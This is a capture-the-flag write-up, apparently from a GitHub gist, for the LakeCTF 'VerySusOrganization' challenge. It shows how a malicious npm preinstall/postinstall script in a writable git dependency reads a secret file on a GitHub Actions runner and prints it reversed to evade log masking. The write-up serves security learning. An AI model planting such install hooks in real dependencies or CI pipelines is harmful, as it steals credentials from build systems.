Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save ky28059/b99b68a576fef8f91fcb950aa5c394bb to your computer and use it in GitHub Desktop.
Save ky28059/b99b68a576fef8f91fcb950aa5c394bb to your computer and use it in GitHub Desktop.

LakeCTF '24-'25 Quals — VerySusOrganization

You have been hired to contribute to a very suspicious project. Follow the link below to get onboard.

https://challs.polygl0ts.ch:8123

We're given access to an organization that looks like this:

image

Besides the random projects, of note are two repositories:

  • The "sus image generator", which contains a GitHub action, and

image

  • The "sus random number generator", which we have write access to.

image

Notably, the check build workflow does an npm install,

name: Trigger Build on Comment

on:
  issue_comment:
    types: [created, edited]

jobs:
  check-build:
    if: ${{ startsWith(github.event.comment.body, '/run-build') }}
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v2
        with:
          fetch-depth: 0

      - name: Set up SSH
        env:
          ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
          FLAG: ${{ secrets.FLAG }}
        run: |
          pwd
          mkdir -p ~/.ssh
          echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
          echo "$FLAG" > ~/flag.txt
          chmod 600 ~/.ssh/id_rsa
          ssh-keyscan github.com >> ~/.ssh/known_hosts
          

      - name: Install dependencies
        run: |
          npm install

and the image generator lists the random number generator repo as a dependency in package.json:

{
    "name": "sus-image-generator",
    "version": "1.0.0",
    "main": "app.js",
    "keywords": [],
    "author": "paultisaw",
    "license": "ISC",
    "description": "Yet another sus image generator",
    "dependencies": {
        "express": "^4.21.1",
        "suspicious-random-number-generator": "git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git"
    }
}

Then, because we have write access to the random number generator repository, we can use npm pre- / post-install scripts to execute malicious code in the GitHub runner.

image

One last hiccup: when a pre- or post-install script is run, its output is suppressed by NPM, so we can't just echo the flag directly. However, returning an error will cause any prior output to be logged. Testing with a preinstall script of echo test,

PS C:\Users\kevin\Downloads> npm i git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git

added 1 package in 9s

But if we use echo test && exit 1,

PS C:\Users\kevin\Downloads> npm i git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
npm ERR! code 1
npm ERR! git dep preparation failed
npm ERR! command C:\Program Files\nodejs\node.exe C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js install --force --cache=C:\Users\kevin\AppData\Local\npm-cache --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit --include=dev --include=peer --include=optional --no-package-lock-only --no-dry-run
npm ERR! > [email protected] preinstall
npm ERR! > echo test && exit 1
npm ERR!
npm ERR! test
npm ERR! npm WARN using --force Recommended protections disabled.
npm ERR! npm ERR! code 1
npm ERR! npm ERR! path C:\Users\kevin\AppData\Local\npm-cache\_cacache\tmp\git-clonesoPIBC
npm ERR! npm ERR! command failed
npm ERR! npm ERR! command C:\WINDOWS\system32\cmd.exe /d /s /c echo test && exit 1
npm ERR!
npm ERR! npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_43_586Z-debug-0.log

npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_34_744Z-debug-0.log

Then we have our final payload; in the random number generator repo, we can add a post-install script to cat the flag and error out, printing the output to the GitHub actions console:

{
  "name": "suspicious-random-number-generator",
  "version": "1.0.1",
  "main": "index.js",
  "author": "paultisaw",
  "description": "Yet another suspicious random number generator",
  "scripts": {
    "preinstall": "rev ~/flag.txt && exit 1",
    "postinstall": "rev ~/flag.txt && exit 1"
  }
}

(using rev here to reverse the string and prevent GitHub from automatically censoring the flag in the action output). Triggering a workflow run, we get the flag:

image

kevin@ky28059:~$ echo "}suS_yrev_d33Dni_saw_SIhT{LPFE" | rev
EFPL{ThIS_was_inD33d_very_Sus}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment